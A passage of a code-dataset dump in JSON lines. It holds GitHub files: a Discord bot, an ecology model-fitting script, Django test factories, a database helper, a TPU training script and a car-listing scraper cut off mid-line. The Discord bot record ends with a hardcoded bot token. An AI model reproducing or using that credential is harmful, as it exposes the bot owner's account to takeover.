dessus\n\nasync def send_request(message, command):\n   r = urllib.request.urlopen(\" https://dfcf0332.ngrok.io/discord/?command=\"+command)\n\n   data = json.loads(r.read().decode(r.info().get_param('charset') or 'utf-8'))\n   await client.send_message(message.channel, data)\n   await client.send_message(message.channel, \"Command {} requested by {}\".format(data[\"command\"], message.author))\n\nclient.run('MzA0MzI4ODM5NjU4NjAyNDk3.C9lFGg.BUXyL3xBALjJw44Hox7KZCPHiRM')\n", "repo_name": "FloPrm/ArenaEsport", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 3026, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "discord.Client", "line_number": 6, "usage_type": "call"}, {"api_name": "urllib.request.request.urlopen", "line_number": 62, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 62, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 62, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 64, "usage_type": "call"}]}
{"seq_id": "23741438864", "text": "# see if you can fit a flat J and varying m to the baseline\n\nfrom scipy.special import digamma\nfrom scipy.optimize import bisect\nimport pandas as pd\nimport numpy as np\n\n\n# parameters\n# ---\n\n# which run\nsuffix = '_3'\nS_fixed = 25 # somewhat arbitrary choice for the fixed value of S\n\n# where the results are\ndir_results = '../../results/neutral_area_vs_m/'\n\n\n# read in the data and grab the J vs S relationship\n# ---\n\nfname_csv = dir_results + 'baseline.csv'\ndf = pd.read_csv(fname_csv)\n\n# subset the suffix we want\ndf = df[df['suffix'] == suffix]\n\n# info we need\nJV = df['J'].values\nSV = df['S'].values\n\nK = df['K'].values[0]\ntheta = df['theta'].values[0]\nm = df['m'].values[0]\nH = df['H'].values[0]\n\n\n\n# find the m that satisfies each J given that S = S_fixed\n# ---\n\n# function to define theoretical curve\nS_fnc = lambda theta, K, Js, m: theta*( digamma( theta/K + ((Js-1)*m/(1-m))*( digamma(((Js-1)*m/(1-m))+Js) - digamma(((Js-1)*m/(1-m))) ) ) - digamma( theta/K ) )\n\n# for each J, find the value of m that makes S_fnc = S\nm_lo = 1e-10; m_hi = 1 - 1e-10\n\nmV = list()\nfor J, S in zip(JV, SV):\n\n    fnc = lambda m: S_fixed - S_fnc(theta, K, J/K, m)\n    S_lo = fnc(m_lo)\n    S_hi = fnc(m_hi)\n\n    if np.sign(S_lo) != np.sign(S_hi):\n\n        m_est = bisect(fnc, m_lo, m_hi)\n\n    else:\n\n        m_est = np.nan\n\n    mV.append(m_est)\n\n\n# save them to a file\n# ---\n\n# create dataframe\ncolumns = ['baseline_suffix', 'island_ID', 'K', 'H', 'm', 'theta', 'J', 'S']\n\nbaseline_suffixV = [suffix]*H\nisland_IDV = list(range(H))\nKV = [K]*H\nHV = [H]*H\nmV = mV\nthetaV = [theta]*H\n# JV\nSV = [S_fixed]*H\n\ndf = pd.DataFrame(\n        list(zip( baseline_suffixV, island_IDV, KV, HV, mV, thetaV, JV, SV )), \n        columns = columns )\n\nfname_csv = dir_results + 'decreasing_m.csv'\ndf.to_csv(fname_csv, mode='w', header=True, index=False)\n", "repo_name": "nadiahpk/niche-neutral-riau-birds", "sub_path": "scripts/neutral_area_vs_m/decreasing_m.py", "file_name": "decreasing_m.py", "file_ext": "py", "file_size_in_byte": 1817, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pandas.read_csv", "line_number": 24, "usage_type": "call"}, {"api_name": "scipy.special.digamma", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.sign", "line_number": 56, "usage_type": "call"}, {"api_name": "scipy.optimize.bisect", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 62, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 82, "usage_type": "call"}]}
{"seq_id": "36130715471", "text": "import pytz\nimport factory\nimport factory.fuzzy\nfrom django.contrib.auth import get_user_model\nfrom creator.releases.models import (\n    Release,\n    ReleaseTask,\n    ReleaseService,\n    ReleaseEvent,\n)\nfrom creator.studies.models import Study\nfrom creator.users.factories import UserFactory\n\nUser = get_user_model()\n\n\nclass ReleaseFactory(factory.DjangoModelFactory):\n    class Meta:\n        model = Release\n\n    name = factory.Faker(\"bs\")\n    description = factory.Faker(\"paragraph\", nb_sentences=3)\n    created_at = factory.Faker(\n        \"date_time_between\", start_date=\"-2y\", end_date=\"-1d\", tzinfo=pytz.UTC\n    )\n    state = factory.fuzzy.FuzzyChoice(\n        [\"staged\", \"published\", \"canceled\", \"failed\"]\n    )\n\n    creator = factory.SubFactory(UserFactory)\n\n    @factory.post_generation\n    def ended_at(self, create, extracted, **kwargs):\n        if not create:\n            return\n        if extracted:\n            self.ended_at = extracted\n            self.save()\n        if self.state in {\"published\", \"canceled\", \"failed\"}:\n            self.ended_at = factory.Faker(\n                \"date_time_between\",\n                start_date=\"-1d\",\n                end_date=\"now\",\n                tzinfo=pytz.UTC,\n            ).generate({})\n            self.save()\n\n    @factory.post_generation\n    def studies(self, create, extracted, **kwargs):\n        if not create:\n            return\n\n        if extracted:\n            self.studies.set(extracted)\n        else:\n            # Add up to three studies to the release\n            studies = Study.objects.all()\n            studies = list(studies) + [None]\n            studies = set(\n                factory.fuzzy.FuzzyChoice(studies).fuzz() for _ in range(3)\n            )\n            studies = {study for study in studies if study is not None}\n            self.studies.set(studies)\n\n    @factory.post_generation\n    def tasks(self, create, extracted, **kwargs):\n        if not create:\n            return\n\n        if extracted:\n            self.tasks.set(extracted)\n        else:\n            # Invoke tasks for up to three services\n            services = ReleaseService.objects.all()\n            services = list(services) + [None]\n            services = set(\n                factory.fuzzy.FuzzyChoice(services).fuzz() for _ in range(3)\n            )\n            services = {service for service in services if service is not None}\n\n            for service in services:\n                task = ReleaseTaskFactory(\n                    release=self, release_service=service\n                )\n\n\nclass ReleaseTaskFactory(factory.DjangoModelFactory):\n    class Meta:\n        model = ReleaseTask\n\n    uuid = factory.Faker(\"uuid4\")\n    release = factory.SubFactory(ReleaseFactory)\n    release_service = factory.SubFactory(\n        \"creator.releases.factories.ReleaseServiceFactory\"\n    )\n    created_at = factory.Faker(\n        \"date_time_between\", start_date=\"-2y\", end_date=\"now\", tzinfo=pytz.UTC\n    )\n\n\nclass ReleaseServiceFactory(factory.DjangoModelFactory):\n    class Meta:\n        model = ReleaseService\n\n    uuid = factory.Faker(\"uuid4\")\n    name = factory.Faker(\"bs\")\n    description = factory.Faker(\"paragraph\", nb_sentences=3)\n    url = factory.Faker(\"url\")\n    creator = factory.SubFactory(UserFactory)\n    enabled = True\n    created_at = factory.Faker(\n        \"date_time_between\", start_date=\"-2y\", end_date=\"now\", tzinfo=pytz.UTC\n    )\n\n\nclass ReleaseEventFactory(factory.DjangoModelFactory):\n    class Meta:\n        model = ReleaseEvent\n\n    uuid = factory.Faker(\"uuid4\")\n    message = factory.Faker(\"paragraph\", nb_sentences=3)\n    created_at = factory.Faker(\n        \"date_time_between\", start_date=\"-2y\", end_date=\"now\", tzinfo=pytz.UTC\n    )\n    event_type = factory.fuzzy.FuzzyChoice([\"info\", \"warning\", \"error\"])\n    release = factory.SubFactory(ReleaseFactory)\n    release_service = factory.SubFactory(ReleaseServiceFactory)\n    task = factory.SubFactory(ReleaseTaskFactory)\n", "repo_name": "kids-first/kf-api-study-creator", "sub_path": "creator/releases/factories.py", "file_name": "factories.py", "file_ext": "py", "file_size_in_byte": 3939, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.contrib.auth.get_user_model", "line_number": 14, "usage_type": "call"}, {"api_name": "factory.DjangoModelFactory", "line_number": 17, "usage_type": "attribute"}, {"api_name": "creator.releases.models.Release", "line_number": 19, "usage_type": "name"}, {"api_name": "factory.Faker", "line_number": 21, "usage_type": "call"}, {"api_name": "factory.Faker", "line_number": 22, "usage_type": "call"}, {"api_name": "factory.Faker", "line_number": 23, "usage_type": "call"}, {"api_name": "pytz.UTC", "line_number": 24, "usage_type": "attribute"}, {"api_name": "factory.fuzzy.FuzzyChoice", "line_number": 26, "usage_type": "call"}, {"api_name": "factory.fuzzy", "line_number": 26, "usage_type": "attribute"}, {"api_name": "creator.releases.models", "line_number": 30, "usage_type": "name"}, {"api_name": "factory.SubFactory", "line_number": 30, "usage_type": "call"}, {"api_name": "creator.users.factories.UserFactory", "line_number": 30, "usage_type": "argument"}, {"api_name": "factory.Faker", "line_number": 40, "usage_type": "call"}, {"api_name": "pytz.UTC", "line_number": 44, "usage_type": "attribute"}, {"api_name": "factory.post_generation", "line_number": 32, "usage_type": "attribute"}, {"api_name": "creator.studies.models.Study.objects.all", "line_number": 57, "usage_type": "call"}, {"api_name": "creator.studies.models.Study.objects", "line_number": 57, "usage_type": "attribute"}, {"api_name": "creator.studies.models.Study", "line_number": 57, "usage_type": "name"}, {"api_name": "factory.fuzzy.FuzzyChoice", "line_number": 60, "usage_type": "call"}, {"api_name": "factory.fuzzy", "line_number": 60, "usage_type": "attribute"}, {"api_name": "factory.post_generation", "line_number": 48, "usage_type": "attribute"}, {"api_name": "creator.releases.models.ReleaseService.objects.all", "line_number": 74, "usage_type": "call"}, {"api_name": "creator.releases.models.ReleaseService.objects", "line_number": 74, "usage_type": "attribute"}, {"api_name": "creator.releases.models.ReleaseService", "line_number": 74, "usage_type": "name"}, {"api_name": "factory.fuzzy.FuzzyChoice", "line_number": 77, "usage_type": "call"}, {"api_name": "factory.fuzzy", "line_number": 77, "usage_type": "attribute"}, {"api_name": "factory.post_generation", "line_number": 65, "usage_type": "attribute"}, {"api_name": "factory.DjangoModelFactory", "line_number": 87, "usage_type": "attribute"}, {"api_name": "creator.releases.models.ReleaseTask", "line_number": 89, "usage_type": "name"}, {"api_name": "factory.Faker", "line_number": 91, "usage_type": "call"}, {"api_name": "factory.SubFactory", "line_number": 92, "usage_type": "call"}, {"api_name": "factory.SubFactory", "line_number": 93, "usage_type": "call"}, {"api_name": "factory.Faker", "line_number": 96, "usage_type": "call"}, {"api_name": "pytz.UTC", "line_number": 97, "usage_type": "attribute"}, {"api_name": "factory.DjangoModelFactory", "line_number": 101, "usage_type": "attribute"}, {"api_name": "creator.releases.models.ReleaseService", "line_number": 103, "usage_type": "name"}, {"api_name": "factory.Faker", "line_number": 105, "usage_type": "call"}, {"api_name": "factory.Faker", "line_number": 106, "usage_type": "call"}, {"api_name": "factory.Faker", "line_number": 107, "usage_type": "call"}, {"api_name": "factory.Faker", "line_number": 108, "usage_type": "call"}, {"api_name": "creator.releases.models", "line_number": 109, "usage_type": "name"}, {"api_name": "factory.SubFactory", "line_number": 109, "usage_type": "call"}, {"api_name": "creator.users.factories.UserFactory", "line_number": 109, "usage_type": "argument"}, {"api_name": "factory.Faker", "line_number": 111, "usage_type": "call"}, {"api_name": "pytz.UTC", "line_number": 112, "usage_type": "attribute"}, {"api_name": "factory.DjangoModelFactory", "line_number": 116, "usage_type": "attribute"}, {"api_name": "creator.releases.models.ReleaseEvent", "line_number": 118, "usage_type": "name"}, {"api_name": "factory.Faker", "line_number": 120, "usage_type": "call"}, {"api_name": "factory.Faker", "line_number": 121, "usage_type": "call"}, {"api_name": "factory.Faker", "line_number": 122, "usage_type": "call"}, {"api_name": "pytz.UTC", "line_number": 123, "usage_type": "attribute"}, {"api_name": "factory.fuzzy.FuzzyChoice", "line_number": 125, "usage_type": "call"}, {"api_name": "factory.fuzzy", "line_number": 125, "usage_type": "attribute"}, {"api_name": "factory.SubFactory", "line_number": 126, "usage_type": "call"}, {"api_name": "factory.SubFactory", "line_number": 127, "usage_type": "call"}, {"api_name": "factory.SubFactory", "line_number": 128, "usage_type": "call"}]}
{"seq_id": "31151845576", "text": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport MySQLdb\nimport sqlite3\nimport default_conf\n\nclass SQLite(object):\n    \"\"\" SQLite connection and manipulation tools \"\"\"\n    def __init__(self, db=\"db.db\"):\n        \"\"\"\n        @param db  A database filename (use db.db) as a default\n        \"\"\"\n        self.connection = sqlite3.connect(db)\n        self.cursor = self.connection.cursor()\n\n    def insert_task(self, data):\n        \"\"\"\n        Save a task to database\n        @param data   A dict of task data (api, title, message, task_type, time)\n        \"\"\"\n        sql = \"INSERT INTO task (api, title, message, task_type, time, remote_id) VALUES (:api, :title, :message, :task_type, :time, :remote_id)\"\n        self.cursor.execute(sql, data)\n        self.connection.commit()\n        return self.cursor.lastrowid\n\n    def get_task(self, api):\n        \"\"\"\n        Retrieve all task from database where given API_key is matched\n        @param api   A user's API key\n        \"\"\"\n        sql = \"SELECT id, title, message, task_type, time FROM task WHERE api=:api\"\n        self.cursor.execute(sql, {'api': api})\n        return self.cursor.fetchall()\n\n    def delete_task(self, id):\n        \"\"\"\n        Delete a task from database\n        @param id   A task ID\n        \"\"\"\n        sql = \"DELETE FROM task WHERE id=:id\"\n        self.cursor.execute(sql, {'id': id})\n        self.connection.commit()\n\n    def get_remote_id(self, local_id):\n        \"\"\"\n        Get a remote ID of a task\n        @param local_id   A local task id\n        \"\"\"\n        sql = \"SELECT remote_id FROM task WHERE id=:id\"\n        self.cursor.execute(sql, {'id': local_id})\n        return self.cursor.fetchone()[0]\n\nclass MySQL(object):\n    \"\"\" MySQL connection and manipulation tools \"\"\"\n    def __init__(self, config=default_conf.config):\n        \"\"\"\n        @param config   A dict of MySQL Connection (contain 'host', 'user', 'passwd', 'db' as a key)\n                        User default if this is not given by user\n        \"\"\"\n        self.connection = MySQLdb.connect(host=config['host'],  # your host, usually localhost\n                                  user=config['user'],  # your username\n                                  passwd=config['passwd'],  # your password\n                                  db=config['db'],  # name of the data base\n                                  charset='utf8')\n        self.cursor = self.connection.cursor()\n\n    def insert_task(self, data):\n        \"\"\"\n        Save a task to database\n        @param data   A dict of task data (api, title, message, task_type, time)\n        \"\"\"\n        sql = \"INSERT INTO task (api, title, message, task_type, time) VALUES (%(api)s, %(title)s, %(message)s, %(task_type)s, %(time)s)\"\n        self.cursor.execute(sql, data)\n        self.connection.commit()\n        return self.cursor.lastrowid\n\n    def get_task(self, api):\n        \"\"\"\n        Retrieve all task from database where given API_key is matched\n        @param api   A user's API key\n        \"\"\"\n        sql = \"SELECT id, title, message, task_type, time FROM task WHERE api=%s\"\n        self.cursor.execute(sql, [api])\n        return self.cursor.fetchall()\n\n    def delete_task(self, remote_id):\n        \"\"\"\n        Delete a task from database\n        @param id   A task ID\n        \"\"\"\n        sql = \"DELETE FROM task WHERE id=%s\"\n        self.cursor.execute(sql, [remote_id])\n        self.connection.commit()\n", "repo_name": "PhompAng/To-do-Bullet", "sub_path": "db.py", "file_name": "db.py", "file_ext": "py", "file_size_in_byte": 3405, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sqlite3.connect", "line_number": 14, "usage_type": "call"}, {"api_name": "default_conf.config", "line_number": 56, "usage_type": "attribute"}, {"api_name": "MySQLdb.connect", "line_number": 61, "usage_type": "call"}]}
{"seq_id": "23434512562", "text": "import argparse\nimport os\nimport time\nimport sys\nfrom statistics import mean\n\nimport cv2\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.utils.data.sampler import SubsetRandomSampler\nfrom torch.utils.tensorboard import SummaryWriter\n\nimport torch_xla\nimport torch_xla.distributed.data_parallel as dp\nimport torch_xla.debug.metrics as met\nimport torch_xla.utils.utils as xu\nimport torch_xla.core.xla_model as xm\nimport torch_xla.test.test_utils as test_utils\n\nimport transforms\nimport utils\nfrom conf import settings\nfrom dataset.camvid import CamVid\nfrom metrics import Metrics\nfrom model import UNet\n\nimport torch_xla.debug.metrics as met\n\nprint(met.metrics_report())\n\n\ndef get_train_dataloader(data_path, image_size, batch_size, mean, std):\n    train_transforms = transforms.Compose([\n        transforms.Resize(image_size),\n        transforms.RandomHorizontalFlip(),\n        transforms.ColorJitter(),\n        transforms.ToTensor(),\n        transforms.Normalize(mean, std),\n    ])\n\n    train_dataset = CamVid(\n        data_path,\n        'train',\n        transforms=train_transforms,\n    )\n\n    train_loader = torch.utils.data.DataLoader(\n        train_dataset, batch_size=args.b, num_workers=4, shuffle=True)\n\n    return train_loader\n\ndef get_test_dataloader(data_path, image_size, batch_size, mean, std):\n    valid_transforms = transforms.Compose([\n        transforms.Resize(image_size),\n        transforms.ToTensor(),\n        transforms.Normalize(settings.MEAN, settings.STD),\n    ])\n\n    valid_dataset = CamVid(\n        settings.DATA_PATH,\n        'val',\n        transforms=valid_transforms,\n    )\n\n    print(len(valid_dataset))\n    validation_loader = torch.utils.data.DataLoader(\n        valid_dataset, batch_size=args.b, num_workers=4, shuffle=True)\n\n    return validation_loader\n\n\ndef train_loop_fn(net, train_loader, device, context):\n\n    loss_fn = nn.CrossEntropyLoss()\n    optimizer = optim.SGD(net.parameters(), lr=args.lr,\n                        momentum=0.9, weight_decay=1e-4, nesterov=True)\n\n    optimizer = context.getattr_or(\n        'optimizer',\n        lambda: optim.SGD(net.parameters(), lr=args.lr,\n                        momentum=0.9, weight_decay=1e-4, nesterov=True)\n    )\n\n    warmup_scheduler = WarmUpLR(optimizer, iter_per_epoch * args.warm)\n\n    warm_scheduler = context.getattr_or(\n        'warm_scheduler',\n        lambda: warmup_scheduler,\n    )\n\n    train_scheduler = context.getattr_or(\n        'train_scheduler',\n        lambda: optim.lr_scheduler.MultiStepLR(\n            optimizer, milestones=settings.MILESTONES)\n    )\n\n    net.train()\n\n    count = 0\n    total_loss = 0\n    for batch_idx, (images, masks) in enumerate(train_loader):\n\n        count += 1\n        if warm_scheduler.last_epoch <= iter_per_epoch * args.warm:\n            warmup_scheduler.step()\n\n        optimizer.zero_grad()\n        #print(images.shape)\n        preds = net(images)\n        loss = loss_fn(preds, masks)\n\n        loss.backward()\n        xm.optimizer_step(optimizer)\n\n        print('Epoch: {epoch}, device: {device}, loss: {loss:0.4f}, lr: {lr:0.6f}'.format(\n            epoch=epoch,\n            device=device,\n            loss=loss,\n            lr=optimizer.param_groups[0]['lr'],\n        ))\n\n        total_loss += loss\n        #with torch.no_grad():\n        #    preds = preds.argmax(dim=1)\n        #    preds = preds.view(-1)\n        #    masks = masks.view(-1)\n\n        #metrics.add(preds.cpu().data.numpy(), masks.cpu().data.numpy())\n        #miou = metrics.iou()\n        #metrics.clear()\n        #print(('Device: {device} [{trained_samples}]'\n        #       'Lr: {lr:0.5f} Loss{loss:0.4f} mIou{miou:0.4f}').format(\n        #           device=device,\n        #           trained_samples=args.b * batch_idx,\n        #           #total_samples=len(train_loader) * args.b,\n        #           lr=optimizer.param_groups[0]['lr'],\n        #           loss=loss.item(),\n        #           miou=miou,\n        #       )\n        #)\n\n    #if warm_scheduler.last_epoch > iter_per_epoch * args.warm:\n    #    if train_scheduler.last_epoch < args.warm:\n    #        train_scheduler.step(args.warm)\n\n    #    train_scheduler.step()\n    return total_loss / (batch_idx + 1)\n\ndef test_loop_fn(net, test_loader, device, context):\n    loss_fn = nn.CrossEntropyLoss()\n\n\n    pred_res = []\n    mask_res = []\n    total_loss = 0\n    count = 0\n    net.eval()\n    with torch.no_grad():\n        for batch_idx, (images, masks) in enumerate(test_loader):\n\n            preds = net(images)\n            loss = loss_fn(preds, masks)\n\n            total_loss += loss\n            count += 1\n\n            preds = preds.argmax(dim=1)\n            pred_res.append(preds.cpu().data.numpy())\n            mask_res.append(masks.cpu().data.numpy())\n\n    return pred_res, mask_res, total_loss.cpu().data.numpy() / count\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser()\n    parser.add_argument('-b', type=int, default=5,\n                        help='batch size for dataloader')\n    parser.add_argument('-lr', type=float, default=0.01,\n                        help='initial learning rate')\n    parser.add_argument('-e', type=int, default=150, help='training epoches')\n    parser.add_argument('-warm', type=int, default=5, help='warm up phase')\n    args = parser.parse_args()\n\n    train_data_loader = get_train_dataloader(\n        settings.DATA_PATH,\n        settings.IMAGE_SIZE,\n        args.b,\n        settings.MEAN,\n        settings.STD,\n    )\n\n    test_data_loader = get_test_dataloader(\n        settings.DATA_PATH,\n        settings.IMAGE_SIZE,\n        args.b,\n        settings.MEAN,\n        settings.STD,\n    )\n\n    Flag = {}\n    Flag['lr'] = args.lr\n    Flag['epoch'] = args.e\n    Flag['warm'] = args.warm\n    Flag['batch_size'] = args.b\n    Flag['milestones'] = settings.MILESTONES\n    Flag['ignore_idx'] = train_data_loader.dataset.ignore_index\n\n    len(train_data_loader.dataset)\n    net = UNet(3, train_data_loader.dataset.class_num)\n    devices = (\n      xm.get_xla_supported_devices())\n    print(devices)\n    net = dp.DataParallel(net, device_ids=devices)\n\n    iter_per_epoch = len(train_data_loader) / 8\n\n    best_iou = 0\n    for epoch in range(1, args.e + 1):\n        print('training epoch {}'.format(epoch))\n        t1 = time.time()\n\n        net(train_loop_fn, train_data_loader)\n\n        print(time.time() - t1)\n\n        #result = net(test_loop_fn, test_data_loader)\n        #pred_res = np.array([res[0] for res in result])\n        #mask_res = np.array([res[1] for res in result])\n        #loss = np.array([res[2] for res in result])\n\n        #t1 = time.time()\n        #metrics = Metrics(settings.CLASS_NUM, train_data_loader.dataset.ignore_index)\n        #pred_res = np.array(pred_res).reshape(-1)\n        #mask_res = np.array(mask_res).reshape(-1)\n        #loss = np.array(loss).reshape(-1)\n        #metrics.add(pred_res, mask_res)\n        #miou = metrics.iou()\n\n        #loss = loss.mean()\n        #print(\"Test: miou: {miou:4f} loss: {loss:4f} evaluate time: {time:4f}\".format(\n        #    miou=miou,\n        #    loss=loss,\n        #    time=time.time() - t1,\n        #))\n\n        #if best_iou < miou and epoch > settings.MILESTONES[-1]:\n        #    state_dict = net.models[0].to('cpu').state_dict()\n        #    best_iou = miou\n        #    torch.save(state_dict,\n        #                    checkpoint_path.format(epoch=epoch, type='best'))\n        #    continue\n\n        #if not epoch % settings.SAVE_EPOCH:\n        #    state_dict = net.models[0].to('cpu').state_dict()\n        #    torch.save(state_dict,\n        #                    checkpoint_path.format(epoch=epoch, type='regular'))\n", "repo_name": "weiaicunzai/pytorch-camvid", "sub_path": "legacy/train_tpu.py", "file_name": "train_tpu.py", "file_ext": "py", "file_size_in_byte": 7655, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch_xla.debug.metrics.metrics_report", "line_number": 31, "usage_type": "call"}, {"api_name": "torch_xla.debug.metrics", "line_number": 31, "usage_type": "name"}, {"api_name": "transforms.Compose", "line_number": 35, "usage_type": "call"}, {"api_name": "transforms.Resize", "line_number": 36, "usage_type": "call"}, {"api_name": "transforms.RandomHorizontalFlip", "line_number": 37, "usage_type": "call"}, {"api_name": "transforms.ColorJitter", "line_number": 38, "usage_type": "call"}, {"api_name": "transforms.ToTensor", "line_number": 39, "usage_type": "call"}, {"api_name": "transforms.Normalize", "line_number": 40, "usage_type": "call"}, {"api_name": "statistics.mean", "line_number": 40, "usage_type": "argument"}, {"api_name": "dataset.camvid.CamVid", "line_number": 43, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 49, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 49, "usage_type": "attribute"}, {"api_name": "transforms.Compose", "line_number": 55, "usage_type": "call"}, {"api_name": "transforms.Resize", "line_number": 56, "usage_type": "call"}, {"api_name": "transforms.ToTensor", "line_number": 57, "usage_type": "call"}, {"api_name": "transforms.Normalize", "line_number": 58, "usage_type": "call"}, {"api_name": "conf.settings.MEAN", "line_number": 58, "usage_type": "attribute"}, {"api_name": "conf.settings", "line_number": 58, "usage_type": "name"}, {"api_name": "conf.settings.STD", "line_number": 58, "usage_type": "attribute"}, {"api_name": "dataset.camvid.CamVid", "line_number": 61, "usage_type": "call"}, {"api_name": "conf.settings.DATA_PATH", "line_number": 62, "usage_type": "attribute"}, {"api_name": "conf.settings", "line_number": 62, "usage_type": "name"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 68, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 68, "usage_type": "attribute"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 76, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 76, "usage_type": "name"}, {"api_name": "torch.optim.SGD", "line_number": 77, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 77, "usage_type": "name"}, {"api_name": "torch.optim.SGD", "line_number": 82, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 82, "usage_type": "name"}, {"api_name": "torch.optim.lr_scheduler.MultiStepLR", "line_number": 95, "usage_type": "call"}, {"api_name": "torch.optim.lr_scheduler", "line_number": 95, "usage_type": "attribute"}, {"api_name": "torch.optim", "line_number": 95, "usage_type": "name"}, {"api_name": "conf.settings.MILESTONES", "line_number": 96, "usage_type": "attribute"}, {"api_name": "conf.settings", "line_number": 96, "usage_type": "name"}, {"api_name": "torch_xla.core.xla_model.optimizer_step", "line_number": 115, "usage_type": "call"}, {"api_name": "torch_xla.core.xla_model", "line_number": 115, "usage_type": "name"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 152, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 152, "usage_type": "name"}, {"api_name": "torch.no_grad", "line_number": 160, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 176, "usage_type": "call"}, {"api_name": "conf.settings.DATA_PATH", "line_number": 186, "usage_type": "attribute"}, {"api_name": "conf.settings", "line_number": 186, "usage_type": "name"}, {"api_name": "conf.settings.IMAGE_SIZE", "line_number": 187, "usage_type": "attribute"}, {"api_name": "conf.settings", "line_number": 187, "usage_type": "name"}, {"api_name": "conf.settings.MEAN", "line_number": 189, "usage_type": "attribute"}, {"api_name": "conf.settings", "line_number": 189, "usage_type": "name"}, {"api_name": "conf.settings.STD", "line_number": 190, "usage_type": "attribute"}, {"api_name": "conf.settings", "line_number": 190, "usage_type": "name"}, {"api_name": "conf.settings.DATA_PATH", "line_number": 194, "usage_type": "attribute"}, {"api_name": "conf.settings", "line_number": 194, "usage_type": "name"}, {"api_name": "conf.settings.IMAGE_SIZE", "line_number": 195, "usage_type": "attribute"}, {"api_name": "conf.settings", "line_number": 195, "usage_type": "name"}, {"api_name": "conf.settings.MEAN", "line_number": 197, "usage_type": "attribute"}, {"api_name": "conf.settings", "line_number": 197, "usage_type": "name"}, {"api_name": "conf.settings.STD", "line_number": 198, "usage_type": "attribute"}, {"api_name": "conf.settings", "line_number": 198, "usage_type": "name"}, {"api_name": "conf.settings.MILESTONES", "line_number": 206, "usage_type": "attribute"}, {"api_name": "conf.settings", "line_number": 206, "usage_type": "name"}, {"api_name": "model.UNet", "line_number": 210, "usage_type": "call"}, {"api_name": "torch_xla.core.xla_model.get_xla_supported_devices", "line_number": 212, "usage_type": "call"}, {"api_name": "torch_xla.core.xla_model", "line_number": 212, "usage_type": "name"}, {"api_name": "torch_xla.distributed.data_parallel.DataParallel", "line_number": 214, "usage_type": "call"}, {"api_name": "torch_xla.distributed.data_parallel", "line_number": 214, "usage_type": "name"}, {"api_name": "time.time", "line_number": 221, "usage_type": "call"}, {"api_name": "time.time", "line_number": 225, "usage_type": "call"}]}
{"seq_id": "71583899429", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Aug  7 08:53:09 2019\n\n@author: ayonrab\n\"\"\"\n\nfrom bs4 import BeautifulSoup\nimport csv \nimport requests \n\ndef get_page(url): \n    response = requests.get(url)\n    \n    if not response.ok: \n        print('Server responded:', response.status_code)\n    else: \n        soup = BeautifulSoup(response.text, 'lxml')\n        return soup\n\ndef get_data(soup): \n    #Car year, brand, model\n    try: \n        car_info = soup.find('h1', class_ = \"cui-heading-2--secondary vehicle-info__title\").text.strip().split()\n        year = car_info[0]\n        brand = car_info[1]\n        model = car_info[2]\n    except: \n        year = ''\n        brand = ''\n        model = '' \n    \n    #mileage\n    try: \n        mileage = soup.find('div', class_= \"vdp-cap-price__mileage--mobile vehicle-info__mileage\").text.strip().split()\n        mileage = mileage[0]\n    except: \n        mileage = ''\n    \n    #price\n    \n    try: \n        price = soup.find('span', class_ = \"vehicle-info__price-display\").text\n    except: \n        price = '' \n    \n    #engine\n    try: \n        table_info = [item.text.strip().split() for item in soup.find_all('li', class_ = 'vdp-details-basics__item')]\n        engine = ' '.join(table_info[8])\n    except: \n        engine = ''\n        \n    \n    #features \n    try: \n        #features = [info.text.strip() for info in soup.find('ul', class_ = 'vdp-details-basics__features-list')]\n        features = [s.text.strip() for s in soup.find_all('ul', class_='vdp-details-basics__features-list')]\n        features = [row.replace('\\n', ',') for row in features]\n        \n    except:\n        features = ''\n        \n    data = {\n            'Year' : year, \n            'Brand' : brand, \n            'Model' : model, \n            'Mileage' : mileage, \n            'Engine' : engine,\n            'Price' : price,\n            'Features' : features, \n            }\n    \n    return data\n\ndef get_url_index(soup): \n    #get all car links on page \n    links = soup.find_all('a', class_ = 'shop-srp-listings__listing')\n    \n    href_list = [link.get('href') for link in links]\n    \n    car_links = [\"https://www.cars.com\" + href for href in href_list]\n    \n    return car_links\n\ndef csv_writer(data): \n    with open('car_inventory_lot.csv', 'a') as csvfile: \n        writer = csv.writer(csvfile)\n\n        row = [data['Year'], data['Brand'], data['Model'], data['Mileage'], data['Engine'],data['Price'],  data['Features']]\n        \n        writer.writerow(row)\n        \ndef main():\n    #url = 'https://www.cars.com/for-sale/searchresults.action/?dealerType=localOnly&mdId=20606&mkId=20017&page=1&perPage=50&rd=50&sort=relevance&zc=20148'\n    \n    prime_url = 'https://www.cars.com/for-sale/searchresults.action/?dealerType=all&mdId=20606&mkId=20017&perPage=30&page='\n    url_list = [ prime_url + str(number) for number in range (1, 